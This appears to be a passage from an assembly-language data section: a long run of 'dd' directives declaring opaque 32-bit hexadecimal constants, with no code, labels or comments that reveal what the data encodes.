dd 0B460F4D3h, 0B1120553h, 6D0F088Eh, 43ADA018h, 77BAF91Eh
dd 2866FC62h, 48C2CFD4h, 4704B8D5h, 88DBC12Fh, 0D3023FD8h
dd 0FC1FC626h, 0ADB4A0CEh, 0ED2E1h, 669CB6A1h, 98D7BC5h
dd 0F3438800h, 0B8C8FE7Eh, 791C021Bh, 0C4890F45h, 0E70C9852h
dd 10C2311Fh, 0F65214FFh, 6C0988A0h, 0CC27410Fh, 0BD9EF275h
dd 0BC096001h, 3532760h, 27E6D58Dh, 4128DD49h, 24011432h
dd 61170D6Bh, 0A99FF95Dh, 0DE564B2Dh, 2A04540Fh, 1824B0ADh
dd 207C4400h, 0E2ECE3BEh, 764CB482h, 0F1F6E323h, 0F17EEE3h
dd 0E2248E5Eh, 4F4E253h, 0DB3FDA46h, 58702CE7h, 8117BA08h
dd 0E5408E4h, 1E3C06C0h, 803B435Ch, 343C0E93h, 66F04D5h
dd 0D8560775h, 0E84D5E74h, 0E45B8E70h, 9CA26C52h, 74500D24h
dd 5604CD46h, 0C82FE719h, 1E62E5C8h, 44DCAD10h, 0D8062040h
dd 0D1C08678h, 0D30B34B1h, 0EC6DFC94h, 0D64DF81Ah, 90141059h
dd 0D0196C87h, 4A648D98h, 243BA0Ch, 2082C0B1h, 130472E2h
dd 0C1D50F6Fh, 0C0892892h, 53796958h, 2F4B4043h, 5A2324h
dd 84FB2572h, 6C01B160h
dd 4CF51143h, 57E4C303h, 18549230h, 39646607h, 0FA00F28Ch
dd 0EA617C22h, 768B8Fh, 3BB4A6FCh, 0B310510h, 0EF179500h
dd 0D90C96EBh, 3364B08Fh, 6EA8DA6Ah, 73BE490Fh, 3D554EAAh
dd 14874612h, 1A5761C1h, 89879ACh, 8617A6BEh, 7F110020h
dd 0B22C0071h, 215352BCh, 0DA019735h, 74E42FAFh, 90201AB8h
dd 0B1F820D7h, 3442CF13h, 9612043h, 8B2008EDh, 0FD8CB202h
dd 0A50E9944h, 6264E4A4h, 10C0E09Fh, 20710144h, 0B3EA8095h
dd 0C61AAFFh, 0BE81D313h, 0EBE3E045h, 88FA30C7h, 3EC03B47h
dd 7D104EBBh, 0CA550171h, 58617DC2h, 9502D2B9h, 0D22448C0h
dd 0F5A000A3h, 0B7192DABh, 0B04D5E42h, 55516010h, 0B6A2F10Fh
dd 0EF770FBCh, 387E0B02h, 0F2C85440h, 74821CB4h, 683242F6h
dd 4BC5EC44h, 1F386124h, 0FC3D61h, 55916E2h, 9A15861Ch
dd 0D6522D04h, 81E1000h, 9D1C0C5Bh, 97C25694h, 4CDB75BFh
dd 985302D8h, 0D103D9E5h, 0C91DC4Ch, 518A7D1h, 9E7E5E01h
dd 0F303715Dh, 2C1B5860h, 0C0DC2379h, 7672B51Ah, 7C2CE54Fh
dd 0B5120041h, 0C7EAC1CAh, 55ED9D1Ch, 83C080A4h, 0E00BAE7h
dd 3964AEFFh, 0E26E3Ah, 60A05409h, 0C8966A74h, 0E09E31DDh
dd 0C105A141h, 0A80FCCFh, 0BE15B8E3h, 0E11920A2h, 0EDE0D373h
dd 0B4A03460h, 0A59E89ECh, 210F0C40h, 613DC40h, 58E10338h
dd 7C0CD8C7h, 287FC652h, 865710EAh, 5A7509CFh, 1F2C40CEh
dd 59507BD1h, 0BE0B8C62h, 0AC820F4Ch, 1C680A57h, 0AD07361Dh
dd 0EB7F122Eh, 40709FC2h, 91610E0Ch, 0D3FA0F48h, 939D3700h
dd 65715543h, 0AD38D001h, 0EDC80D6Eh, 0DD041C3Dh, 0F4C8251h
dd 0D86B6478h, 9252BD01h, 0FC188065h, 30D09FB3h, 0FF7D0CA7h
dd 0E69EFE1h, 0BC1CD624h, 24C81695h, 0F40B0C7Eh, 643807E6h
dd 51365202h, 79EF049Ch, 90A638h, 1B787D28h, 96FF19BFh
dd 0CDEA4578h, 21A02170h, 7F209594h, 0ECAC4090h, 30E7C826h
dd 0E4977442h, 4D370078h, 1D4CC578h, 71009F54h, 1E09FD1Fh
dd 0C326E43Bh, 384A130h, 0B24401A4h, 782904BEh, 8C6F6907h
dd 0D4ADC1F6h, 5B987648h, 0DA23AC2Bh, 6008FA07h, 0DE1338F2h
dd 0EC863D34h, 29839CE9h, 0B7DA440Ah, 38C84030h, 0D3465Ch
dd 207D1853h, 0C5698E49h, 406566B8h, 0F55038DCh, 89E44806h
dd 0F2CCAB00h, 65B66BD8h, 98611C8Dh, 8A5244FEh, 1628A47Fh
dd 14C08F50h, 4DD2463Bh, 1D6E1290h, 7AE28800h, 0BC9FDE52h
dd 0CC1E941Ch, 1FED610h, 0BB7E0C64h, 389FE0A7h, 5E3A0573h
dd 0B41804B8h, 85248519h, 0EEDCE4ACh, 66C1F106h, 1669A118h
dd 21ABB527h, 0D383E0h, 0EDD507E6h, 987D1887h, 0E92E9141h
dd 0B670301Fh, 70415541h, 5D00E393h, 7704FC91h, 3E42CED4h
dd 540AEC90h, 682B1D8Eh, 0BBF9C41Fh, 0AC008089h, 2E018DD4h
dd 887E7B1Ch, 382906F0h, 77D7512h, 6946CFCCh, 1E60605Ah
dd 0F11F5520h, 0B15094C0h, 47CCA5C0h, 0AA5CF008h, 0A0CE5122h
dd 20A66918h, 0D9CD9C64h, 0B37027h, 0A3BE3D5Bh, 25E2935h
dd 0DEB2FA1Ah, 0A7182040h, 1544281h, 637C5D7Eh, 41A01FCDh
dd 0FCAADFA3h, 4A147687h, 84B8AF7Ah, 1890C795h, 0F0E5F059h
dd 600F0913h, 708261E8h, 404A6D79h, 0D49B28Eh, 0F8EF5002h
dd 53BE4820h, 186A8987h, 20160811h, 0D5C40346h, 161AC75Eh
dd 0E9543160h, 8F28E8B8h, 0B0E3761Fh, 0EE00B6DDh, 0F47A46EBh
dd 6078B2CCh, 0A8A1E97Ch, 713E28Eh, 240177EAh, 0D472F9CFh
dd 1D88E048h, 0C8200B4Eh, 1900C8D6h, 67303FBEh, 8640C1F8h
dd 0BD8DD216h, 986146B8h, 230B4621h, 230281E4h, 0CD603B16h
dd 0D65100EFh, 542766F0h, 0C965960h, 963A7B82h, 18B490BBh
dd 9AD62636h, 0ADAE0984h, 2CC5E4E8h, 825B5D12h, 0C48EF452h
dd 9BC0D188h, 57C06B6h, 57E244A6h, 0BFC889D9h, 26F9A710h
dd 0F96961D4h, 0E0247AE5h, 84A60364h, 0E7D9D073h, 95938A6h
dd 3C0780E4h, 8C435C17h, 94AD44h, 83CA3C0Fh, 0C728DCCFh
dd 0DCC2D326h, 18C50208h, 0C95B880Eh, 0F5C84CA0h, 7A61D560h
dd 3F6847Ch, 834769C3h, 0AA2E1D6Bh, 0A540005Eh, 3478CBh
dd 536EE768h, 8473E688h, 4C315Ch, 66B1FDC4h, 0FB2CC07Ah
dd 40FA4C20h, 590E375Eh, 0E504422Eh, 3852CB14h, 8C25FCA4h
dd 76EAB5F4h, 0C6221546h, 0B50C4300h, 0CE3EF71Ch, 0E31E000Eh
dd 0C43AE8B7h, 0E44D1FEAh, 9D84256Ch, 0FCE691F8h, 0DEE185E6h
dd 943CB651h, 20983300h, 0ABEA80BEh, 2098CB69h, 0DC037080h
dd 0F9B712E1h, 0E548A0A1h, 0B075A35Ah, 0E2B26897h, 164F0DAh
dd 0AFC28AE9h, 68DEA8D4h, 0C3105C68h, 0C1468DD1h, 4822DFCFh
dd 257A5610h, 0CE04609h, 0BEEA52FFh, 140E6C68h, 37ECC472h
dd 0D82B8C04h, 92D21F03h, 83606025h, 18847ABCh, 0D8FD4708h
dd 0A08CE2DFh, 814B820Ch, 1901E3A2h, 0ECF8CCF5h, 52DD196Dh
dd 407E9464h, 0E225AC70h, 0D87C0AAFh, 800FC00Eh, 297AB1B8h
dd 67612617h, 0A1DB803Ch, 7037CA24h, 118DC000h, 1C3A7F74h
dd 6FB0C2D4h, 0E87A82A1h, 0CF781900h, 3B9EF924h, 12EE5F9Dh
dd 0B92888F4h, 72B16458h, 0A1772D00h, 8AAA553Fh, 46B49654h
dd 1C4AA934h, 0D223982Eh, 422C8528h, 980A04Ah, 1F8AC40Ch
dd 5CE4947Fh, 511EA946h, 0ED47003Eh, 0CE4A7AE9h, 80B64Dh
dd 0A08A7ED4h, 219FF7Dh, 0B407F9EFh, 20424CC3h, 0E28428Ch
dd 0E71978C1h, 3824A257h, 98C15496h, 6EDF3846h, 8148770Eh
dd 0F7C2C6A2h, 1E6CA848h, 5320ECB0h, 6E5B4CFBh, 3945D28h
dd 470EBC29h, 46B03FD8h, 0C3071EF3h, 0DF36A045h, 48926330h
dd 3AC40CA2h, 0D3088A40h, 990221C0h, 3D4A9063h, 0F40F6D03h
dd 2A8A0A4Eh, 7E04D424h, 3CB5E348h, 22EC9F05h, 0A230F54Ch
dd 48941163h, 80D888B2h, 9F639B04h, 4400C9CEh, 35D19606h
dd 757ADC98h, 0FF553FA9h, 0AFC86B00h, 49A78BA0h, 65BF38C0h
dd 11CF9FDh, 0C35B0CCFh, 0D15AE4C6h, 8A21805Eh, 5DD2F9F5h
dd 68A20006h, 0DCCC2B82h, 3F1CD54Ah, 2C00CB4Ch, 0F4294EF7h
dd 185661D4h, 83A82F0Fh, 24CC4540h, 3AC098AAh, 9FAC3CA4h
dd 429D8B4h, 105875A4h, 3BA908CCh, 8AF191D7h, 480ABC9Eh
dd 0DBC48092h, 6397005Ch, 155B5C78h, 9D5D4907h, 5816A821h
dd 48E300C9h, 149F7FBAh, 7800B767h, 0F671BBF7h, 861258h
dd 0A9C13C65h, 0B4A425D3h, 2F147D76h, 40CC3E10h, 0A200794Ch
dd 0A6209AE8h, 1F390121h, 39F7865h, 0C988582Eh, 4420E0E6h
dd 0CB480870h, 2D0465F9h, 4A409ABCh, 7E45F011h, 21200E0Eh
dd 8D55CE58h, 43F078B5h, 0CEB9C14Ch, 48D1E82Dh, 0CA40CBE4h
dd 52B1EABh, 0C09E1549h, 44C4950Eh, 0F46E151Dh, 0F91C8723h
dd 0ECCF1842h, 1061195Ah, 0F9F186h, 0E3985031h, 0CA8AA39Bh
dd 2854CC0Ah, 0A001E43Dh, 0BBD34C61h, 2B958081h, 8F717CC4h
dd 0E8E2F0E8h, 0C982341h, 0AA6155A8h, 0A185B00h, 1B217F3h
dd 99230088h, 5403256Ch, 61EADBBEh, 45F640C1h, 3989513Fh
dd 2420A62Eh, 0DE217B3Eh, 19059172h, 0C4742D51h, 44CC8C1Fh
dd 0A13EF93Ch, 48106CB4h, 3760F1DBh, 789CF058h, 35FC0ACBh
dd 64943075h, 0F9FB6089h, 0FCCF211Ah, 0F9F388C0h, 0ACF51D34h
dd 510E40BDh, 3545B1F4h, 90E9BC30h, 30DB4A86h, 0FF786469h
dd 2500409Ch, 85897717h, 137F5FAh, 0E1816609h, 0ED8D367Ch
dd 0F1780C8h, 9D29D0B7h, 35243C51h, 0FFFC5082h, 11A7EAB5h
dd 859591CFh, 0EC8A012Ah
dd 2C715A8Fh, 0A7BF0C10h, 887C585Bh, 5F00F952h, 8AF18150h
dd 14563648h, 2ED3D180h, 85D4698h, 8B311082h, 5593E8Dh
dd 31EE2566h, 531C6A70h, 23203E8h, 91226320h, 0AC3A5C89h
dd 21178CAAh, 0C3530343h, 0DB989C6Ah, 0C8BA022h, 0DC9BD89h
dd 0E62980F3h, 0D4314DA0h, 4B4C54BCh, 2D9D21BDh, 57C8F210h
dd 91C35FC3h, 1A187C89h, 574788h, 0DFEEDBC3h, 0D9CA2FBAh
dd 3B9B94Ch, 4686CB4h, 0BD284101h, 82B610FBh, 8A3079F6h
dd 0BD014706h, 0C3046C25h, 398C5584h, 8911C35Dh, 0A41C886Ch
dd 3AC30000h, 85748CE4h, 8670310Dh, 0F7D16E0Eh, 4079CF48h
dd 47EF0F24h, 0EDB5C13Dh, 8F601331h, 50C98D43h, 0A0610F8Dh
dd 832F2596h, 0E1A306BDh, 87504B11h, 0E2178053h, 6A1C85FDh
dd 0B51702D8h, 0ABDFAE4h, 938015Bh, 1DB33F85h, 0BCEE81Fh
dd 7335D700h, 6D09455h, 666F0038h, 0E95ACB8Bh, 0ADCE160Ah
dd 312288Dh, 23CDBD83h, 2E2A08B5h, 52469FA0h, 89C8C251h
dd 449FAC54h, 523F4219h, 0DE5303C3h, 3699E45Dh, 5D86055Ch
dd 814D8422h, 0E0541FA9h, 95899701h, 23221169h, 930A4915h
dd 0AEE95F05h, 23493A15h, 45A10115h, 94E5958Bh, 9DF8E961h
dd 4F0B0558h, 0A8B619B4h, 150A9A6Bh, 9725C54Ch, 0EEAD49BDh
dd 71455029h, 229181Dh, 0DA2A9865h, 6C40FD50h, 82480F31h
dd 12F19422h, 0F72330A1h, 77B35779h, 5FBB712h, 28B2C5CFh
dd 184584DFh, 3A886225h, 6600F7A8h, 0E9D8FABAh, 2925CC12h
dd 32A104D4h, 772BBE91h, 26545D49h, 46743050h, 0B4CC1915h
dd 8110E054h, 0C21172D7h, 8C732141h, 11C35839h, 67904489h
dd 0C3504000h, 0F28EB1E8h, 0BF0FD309h, 59A102D2h, 13882227h
dd 30AE823h, 0DAEC3D0Bh, 2680C402h, 0FF616624h, 835AC93Ch
dd 8F2010EDh, 0A0C0E4D0h, 8926A1A6h, 798E2475h, 18743044h
dd 2C535019h, 749D3B8h, 0C18508A6h, 9D8D032Ah, 0F005B438h
dd 585BD3FFh, 8172262h, 0B1277820h, 0B531148Ch, 8511725Dh
dd 71E74004h, 0A78E1568h, 59875111h, 4C8922C3h, 41111B31h
dd 94E07A51h, 640E0169h, 0F18D026h, 845238Fh, 9045595h
dd 8910BD81h, 6524726Fh, 55273561h, 4FB1F9C2h, 0BF0E8850h
dd 24E064F7h, 0BF00D864h, 9D85C60Ch, 4412C017h, 0A3184F68h
dd 123B9658h, 4D210EC9h, 88653898h, 0B1D8D602h, 0DC26D32Ch
dd 0AE4AA679h, 8742493h, 6EBC28Ch, 5B157F4Ah, 23B81094h
dd 0C35E0E56h, 8E748945h, 5646006Eh, 698402C3h, 8D5A168Eh
dd 3111017Ah, 526619Dh, 0ADF7D80Ah, 8B058F08h, 0A48FE3B8h
dd 0C5174476h, 6C3A132Ch, 2F001723h, 0F5280E65h, 0FF2530FCh
dd 0BEE5801Dh, 5F8830Eh, 19738D0Fh, 7268ED9h, 1D039110h
dd 0E6FE85C7h, 0E821010Ch, 2381298Dh, 0BD3E15D7h, 17A24C53h
dd 0BE0FB30h, 22B6865Dh, 2948990Fh, 3F58E90Bh, 0F5D6004Dh
dd 72B62E66h, 4269F90h, 1659A0C6h, 0CA22F513h, 8830C269h
dd 1081E96Ch, 0DE199529h, 504B7A84h, 12D256E0h, 0F20D1A56h
dd 0BF23217Eh, 0CB2D8800h, 7063C403h, 4C4F9800h, 0AE1FC84Eh
dd 0EDF006BCh, 2F0CE80Dh, 28637C00h, 151CD69Ch, 4BFC01BEh
dd 0B5295023h, 59C85275h, 2591E7C5h, 568B5D76h, 132B3584h
dd 7106D22Dh, 8110F90Ch, 0EA2E03F1h, 0E60824FAh, 80600111h
dd 0E96168D8h, 0F9F79328h, 53BA4900h, 4A36FE7Fh, 1443BE60h
dd 0E304421Dh, 0F0EAD057h, 385A002Bh, 9EB62253h, 6E7F99D3h
dd 26D19140h, 7ECA615Eh, 0D4F2D447h, 22B28B17h, 3E876800h
dd 0F5D37D54h, 1A236A3Ah, 90B4813Dh, 3226E61Fh, 304FB440h
dd 68611460h, 0DE45C33Fh, 89851B07h, 0EE8A821h, 83050B83h
dd 72F8A68Fh, 290F44BBh, 26357056h, 819A59F5h, 0A82D6AAh
dd 1B419D01h, 5920305Ah, 0F460482Fh, 0A84C8F58h, 22BD1088h
dd 58BB000Bh, 7A743B19h, 0E709201Fh, 4A61F32Bh, 0E9480457h
dd 8248A4h, 316DAFFCh, 4D569CA8h, 2502AFA1h, 9201FB87h
dd 1C66D281h, 108F1FD6h, 4499D89h, 15087693h, 0C91025B5h
dd 19118217h, 0A572C980h, 3A01C63Ch, 0D7D6C781h, 0F9367CA8h
dd 13F99540h, 61860F50h, 0BA260181h, 14CFDC7Fh, 590830A9h
dd 0B08EBC92h, 6248B003h, 61F076C1h, 475D2F84h, 2299FF68h
dd 65FAB703h, 26149159h, 1104933h, 70AC5F88h, 2727E90Ch
dd 351CC8F8h, 4674A5A4h, 66A30114h, 50EE67B9h, 1F69CC40h
dd 454E9435h, 0D1F20960h, 81664BA3h, 82B507B3h, 0FE91B563h
dd 6E32E9h, 723117A6h, 422233Dh, 0CCCDDD66h, 0B44F8416h
dd 80510F73h, 64E4218h, 398D8920h, 8B6AC40Bh, 194588CAh
dd 0ABF6688h, 7E87E2Ch, 0F3D0009h, 0C0976803h, 5FD3BCA0h
dd 292FE928h, 0A5068532h, 0E4134051h, 1E7A1BC5h, 8CF5C05Ah
dd 56691A0Ah, 24FB6BA6h, 0A0A8F13Ch, 53034445h, 6A5FF80Ah
dd 4674BB10h, 81CE3917h, 8D29FB51h, 648102E1h, 55F676BFh
dd 0CD0C2272h, 4E4E3F44h, 0FC01B88h, 95DF423h, 0D8EECA32h
dd 99FB5304h, 91FD012Ch, 1FE90110h, 8B03FBAh, 0D2C30B0Bh
dd 35CEA204h, 3C98F094h, 0C7A4E9h, 607929F1h, 50DB2D18h
dd 59C85750h, 24B11592h, 351815F9h, 0E5CE44F1h, 0A2DB63F6h
dd 0BC173019h, 0F1CB8B0Bh, 40A23290h, 0AC226909h, 0B0E81F5h
dd 0FD0781F8h, 12274CFAh, 0C2DDBD23h, 64E76AEAh, 5D601A64h
dd 66091F10h, 6181D7F0h, 2A4601D6h, 15314F70h, 89257E2h
dd 80840367h, 0CC819DD1h, 7128A0C9h, 66DC114Eh, 22188A70h
dd 0FC89018Eh, 32537C26h, 0B83119A2h, 3427BDF4h, 0A778CB68h
dd 0DEB21870h, 983CB55Ah, 0F8BF06C8h, 2580685Ah, 6AC88A00h
dd 45852903h, 8645A217h, 900ACAEAh, 3FB55845h, 0B1E8FC7Eh
dd 82790069h, 5898D3AFh, 6533CC00h, 7EAA07CAh, 0ECF014Ch
dd 5950C980h, 0F9753061h, 3B68EC32h, 443DC7C0h, 6B2D6018h
dd 0EFAF25EEh, 1860110h, 5F7C000h, 9B973921h, 25D73BFh
dd 0C49C56EDh, 0C08BA56Ah, 68ED1EA9h, 5C40F0C7h, 144CD03Ah
dd 8AF6F199h, 211AE117h, 2244101h, 0F88D8F9h, 0F8834386h
dd 1811C9D4h, 0DA1F7E06h, 0B83D5411h, 93816ECh, 28D23B1Ch
dd 0C092694h, 0A9428502h, 8C4E850h, 2625718Dh, 325908F0h
dd 0C026113h, 0C75AF59Fh, 621464EBh, 0F1C74164h, 0BFD06941h
dd 7FF922C9h, 0EFF25E88h, 0D0C6012h, 0B0F709F8h, 13F14B58h
dd 8A0281AFh, 0F83A28EFh, 0D8E48FD8h, 0D9CD502Fh, 0F802B4B6h
dd 0D03DBD8Bh, 2988CA92h, 5C1010E3h, 14DB921Ch, 1AC5F480h
dd 8C580F7Bh, 0F5BDC4B3h, 0B16A01E0h, 1816D92Ah, 0FB4A12FFh
dd 0F08027E8h, 0FE92EC35h, 4F8A3A00h, 60F2FD2Eh, 7450051Bh
dd 0CC5D9DB9h, 0C1002413h, 6D514CA8h, 44543F3h, 5985C4CDh
dd 185DB66Ah, 0E70B11E9h, 75060047h, 11B0F45h, 630EFA03h
dd 2D03E0Eh, 8BE97DB2h, 0F9C60072h, 941E63CAh, 0EE376B8Ch
dd 0F894D87h, 9D61A1EAh, 18621BF1h, 1AE22B42h, 2D32730h
dd 7E01DC50h, 74D2E9D9h, 44947900h, 0E31FB370h, 0C9062513h
dd 29E9B419h, 704C00CDh, 0B0FEE8ABh, 0A0260134h, 688AFD36h
dd 943628D4h, 0DEA93F30h, 4584112Ch, 0A5628925h, 0A0394E05h
dd 4BE9D7AFh, 9807702Eh, 4703BB93h, 113B49Ah, 0BA2C73CBh
dd 0E091960Eh, 0B39E16A4h, 87DEED3Eh, 4076958Dh, 0C2A1AA10h
dd 5CDA2F2Eh, 1611F31Dh, 7F9B5780h, 4A94CF8Ah, 8D4008C4h
dd 6C969D9h, 0AF911717h
dd 0CCFC2562h, 60408DEBh, 0F979B6Fh, 89148F58h, 3D685F60h
dd 7C000449h, 0EB43999Eh, 78CBBFAh, 0E0B85B3Dh, 612BE023h
dd 0BE285C7h, 70AF3552h, 299A2948h, 0A534DC0Fh, 1D8DC21h
dd 62BAEF07h, 0F8E4DC10h, 507C1195h, 1AA2B873h, 477AA30h
dd 4EE36C1Eh, 0E919C115h, 9901130Bh, 76694D95h, 71308C2Eh
dd 8690F6E9h, 0E30F1673h, 0A07B14B8h, 3AEC9DEEh, 6CB628C0h
dd 69FE45C6h, 15FB87Eh, 0D1E88423h, 30CE7B83h, 8CD1CAA9h
dd 8C1DA8EBh, 0A6E69F00h, 77BE5EE0h, 0B04AEA52h, 0ABD20B7h
dd 3825C396h, 96078119h, 8D2BC2F6h, 0C09E3E42h, 0FA2B3144h
dd 922F4269h, 9DA76A30h, 8CE71EABh, 1721DB89h, 6D84C8ADh
dd 292BF500h, 7C439CA3h, 0E2ED01AFh, 0B7B45EB6h, 0CC26E0h
dd 9E14CA81h, 0B35006D7h, 0BE2B7801h, 0D104BA7Eh, 7BF0C1FCh
dd 4EB6BF98h, 0B722152Ah, 8B82B695h, 7E58398Dh, 1527D785h
dd 8E1691BEh, 72620C20h, 14F681D1h, 3A00ACE2h, 0B8D2514Bh
dd 0BD00F9CDh, 570F314Ah, 2C89F3F8h, 92E90D95h, 8D94985Fh
dd 786046B1h, 1F288Ch, 0FF9FC8CEh, 265E98A9h, 7E623A04h
dd 0C9817B4h, 0F9B53931h, 523FE9C0h, 0C2BAF1F6h, 7070F332h
dd 2F06564Fh, 45DCFF90h, 0BE208001h, 672782C1h, 0BDC4E46Dh
dd 6E590C0Eh, 960D7705h, 1446748Eh, 858BDE01h, 58352E71h
dd 9E00899Bh, 3CAA5D1Ch, 0DF0367Dh, 0F87C1E87h, 1B846052h
dd 5EE95A80h, 6E7717F6h, 66B5006Eh, 19A9CE6Eh, 8E591EBAh
dd 0F904898Dh, 17110B1Fh, 0C25E0792h, 218D3286h, 0B542B85Ch
dd 20B5440Dh, 0A980A719h, 3C942A75h, 0CE46B99Dh, 787C3390h
dd 67082866h, 1AC920B5h, 0D0407D96h, 0FA58CBA4h, 8BA502A7h
dd 4D8D01F3h, 0FC528C50h, 0C08D4834h, 597D3108h, 5C1C008Fh
dd 0CF4B4863h, 0D8359017h, 920D8487h, 86A74711h, 61F164B3h
dd 0CF810001h, 88A214CEh, 0ED945124h, 68C18E8h, 0CCF348DBh
dd 0B505F6FCh, 0E8C08B9Eh, 9BB66F4h, 37F2EAD2h, 5A4AB950h
dd 0D923B43Eh, 0CB0BD9F9h, 0C9D58260h, 8D29012Fh, 613834F9h
dd 90FABACDh, 5CCBBAD4h, 451094DBh, 13502522h, 2F07D06Dh
dd 2ACE0751h, 40BA40B0h, 0A593C264h, 3D24737Fh, 591C1EECh
dd 0B05F7720h, 8D8527CFh, 9E531086h, 7E1FE95Fh, 5D8903CEh
dd 0BB50430Eh, 0E8203806h, 5B8F3821h, 4D09538Ah, 74D74445h
dd 60C9B6B6h, 3C46676Ch, 72EF912h, 250070F1h, 4C75BF66h
dd 1DECF1FDh, 5E0E018Ch, 8CE6A55Ch, 5C63CAFEh, 1541EB4Eh
dd 2DCD8060h, 267076A0h, 441F870Fh, 15928C50h, 0F20BD401h
dd 5AC44A2Eh, 6778F8F9h, 119F0896h, 0E1410A5h, 0D7F203CAh
dd 92105A13h, 2FF37998h, 4BF238D2h, 3F301DF2h, 0DDBC00F1h
dd 81F875DBh, 0FDA1E38Ch, 38B32539h, 0AEDD9FEh, 90846803h
dd 0C5BA6093h, 3870A500h, 53613AB7h, 26BB90F8h, 0F6C1117Dh
dd 0DE8CD18h, 1583913h, 2F90A4B7h, 0F8988340h, 0EF1E3AA5h
dd 9683E981h, 2A5F3684h, 88C7E576h, 0C5131Fh, 0F24CB34Fh
dd 0CE3FD4F9h, 0CB93A805h, 37995AF5h, 0D19B202Eh, 277DDAFBh
dd 4D4B26B1h, 65F34038h, 127CE08Ah, 0D4053A24h, 0A6E2991Dh
dd 8BFC0715h, 0A2C71840h, 7F510275h, 0D1BF0F85h, 242298CBh
dd 0C1151A9Dh, 0BE51C1CBh, 11408C3Dh, 9901EB83h, 2BA52796h
dd 0C5571EE9h, 48963DF9h, 9AAFD318h, 39038298h, 0D0C90E0Eh
dd 0D8F372E6h, 1AB11625h, 9D784A2Bh, 0E8FB004Fh, 0AFB3802Eh
dd 605CA3DAh, 1DDF0910h, 0D10287A2h, 0E611808h, 71823341h
dd 1C519689h, 6B0E51C8h, 0A9B790h, 77B123BAh, 0EF2EA66Fh
dd 212082CCh, 9C24E8BEh, 65F99B28h, 0F10033FFh, 841F0BC6h
dd 582E0BC6h, 8C1BE844h, 0D4033572h, 15D5E389h, 0E9B4537Dh
dd 0B3015A2h, 0AD98AB13h, 0B16D682h, 540CE304h, 1063563Ah
dd 234F2BF9h, 1F584CD9h, 8C1CE880h, 0EFB6500h, 2933166h
dd 0F5ED2503h, 2705FBC1h, 7FC84EB7h, 0E58D1003h, 0BFE91429h
dd 45823811h, 0C8F9A14Ch, 111101AAh, 69BD3306h, 0EC484132h
dd 0F662DCA3h, 0FFF038D0h, 17A2ACD3h, 283E9030h, 2CD9A62h
dd 6163BA51h, 44ED68BFh, 217FDD44h, 93C87ADDh, 30CC981h
dd 8030E3A3h, 0BF884C0Fh, 56D4BA80h, 3901D93h, 132D4D20h
dd 0A40217E9h, 0FE6AECCCh, 16DE4656h, 20E988A4h, 0CAEEF11h
dd 3E54F400h, 2D55C2DEh, 63A302D6h, 19DB65BFh, 97D37661h
dd 2757E4DAh, 1831ABC8h, 0F1286595h, 0FC40F485h, 0DE8B2760h
dd 9196BC90h, 0CF841800h, 61C421B6h, 86049F40h, 802F101Ch
dd 73871FBFh, 346A3160h, 751E1156h, 65931C6h, 5198FE14h
dd 0A125A120h, 0D8300740h, 66014062h, 0F6DB8C04h, 4C8204C3h
dd 50D129FCh, 52685680h, 8F9CA8B8h, 4046A0Bh, 0DB1D10FDh
dd 0BCEE8164h, 84015720h, 6847022Dh, 0EC18AC9Bh, 8B04C53Ch
dd 4F1E20F0h, 263D6168h, 0ED21C02Fh, 5332500Eh, 6A067DDDh
dd 14185628h, 7575C085h, 986841C0h, 0DB568764h, 70D0992Ah
dd 684C070Bh, 8025E7A4h, 228B2068h, 5BFC579Dh, 7B0A044Ah
dd 56B8545Ch, 3C71215h, 43D843A5h, 702500Ch, 303D2685h
dd 5A6AC553h, 2E194702h, 448B49B5h, 45672811h, 0F7976804h
dd 7D0492A5h, 679A3905h, 28B00C02h, 60A63275h, 35A1B4DAh
dd 2C0C234Eh, 2D344DE6h, 339035h, 9A9447E5h, 968503h, 200EED23h
dd 0F59D293Ch, 0A4670C50h, 0F563361h, 2670FEB7h, 487B09E2h
dd 7C016050h, 3D0AF0F9h, 27B9C429h, 0FF646103h, 6D1FADh
dd 6BCB18A1h, 0C9498D89h, 0DE643BBEh, 0E9F72013h, 2C8CB3A1h
dd 0AD2A80B6h, 48050657h, 72388Ah, 444681Ah, 0F046B389h
dd 0BA66F703h, 95F6FDBh, 0B4E9D7D6h, 0A365D184h, 3F732114h
dd 126E0A2Dh, 0FA5D1833h, 193A10DEh, 22644D1Ch, 5470B056h
dd 0EC808891h, 0C8055A70h, 9BA643D7h, 29DB7554h, 1542DECh
dd 2EEBB8D9h, 1423DA3Bh, 0D1807D02h, 0F659BBh, 9D157556h
dd 0A127F81h, 0C7F043C3h, 0DBF6A1A4h, 1888C04Eh, 0EB251DC0h
dd 462A5D74h, 33F388D2h, 4F21C05Fh, 0E2FCF59Bh, 0D45400BAh
dd 408A69A8h, 7133F0Fh, 79F2640Bh, 613AA5Ah, 0BF8007DBh
dd 0EB9372Ah, 0C8D4340Bh, 0C11D02D5h, 0F2600424h, 435601A3h
dd 9CCEAB7Eh, 620AC4h, 10B1526Eh, 858B75A3h, 4191215Bh
dd 0AC70FB83h, 89124484h, 360656C8h, 0E089BEF6h, 0F8239DCEh
dd 8A0D7D98h, 4C8B01F5h, 81C70C24h, 0FF1999A4h, 0B8E98303h
dd 9D041594h, 0F48BC314h, 0E1820C28h, 0ED815D10h, 14D2C649h
dd 501B838Bh, 344074DEh, 5D0CA989h, 0B74D4FADh, 0C96287C0h
dd 2F4E4B89h, 19142351h, 81BC98AFh, 25BF66B1h, 0EC6150EDh
dd 95A1527h, 109628EBh, 0B9CA8A0Ch, 0B80F0Ah, 4855D704h
dd 0F7816405h, 65BB0D00h, 0BA8685D4h, 34B63840h, 0E8EA197Dh
dd 0DCED0C5Fh, 582468FBh, 0A16874Dh, 0FBD1305h, 42D561A8h
dd 239B2EA4h, 78FC001Dh, 9DF547ECh, 7EB3A10Bh, 2194059Bh
dd 7BA93B0h, 2DC74C88h, 0ED8BF4B1h, 120A4841h, 8DDA22DDh
dd 21043D84h, 9F082CA9h, 7020E885h, 188CB140h, 9799BD33h
dd 2B95860Fh, 337C456h, 0D0FE0851h, 9C7D1A40h, 0B8B13A55h
dd 2E311663h, 5678991Ch, 7845E001h, 70650063h, 6E6F6974h
dd 66E64920h, 6D2872ECh, 0E0800C61h, 73F2656Ch, 206F2CE6h
dd 0A7648E08h, 39DF6874h, 99C76C36h, 67F96977h, 64E963F9h
dd 28BE73FDh
dd 6196FBF9h, 0E381E540h, 2A3A2EFBh, 54200C6Dh, 0EC6B1668h
dd 0FE75F679h, 40D6F0Ah, 28C601F4h, 73604670h, 52544362h
dd 0FF2B754Ch, 699ED1B3h, 64971E66h, 0A18FD8A0h, 8A87970h
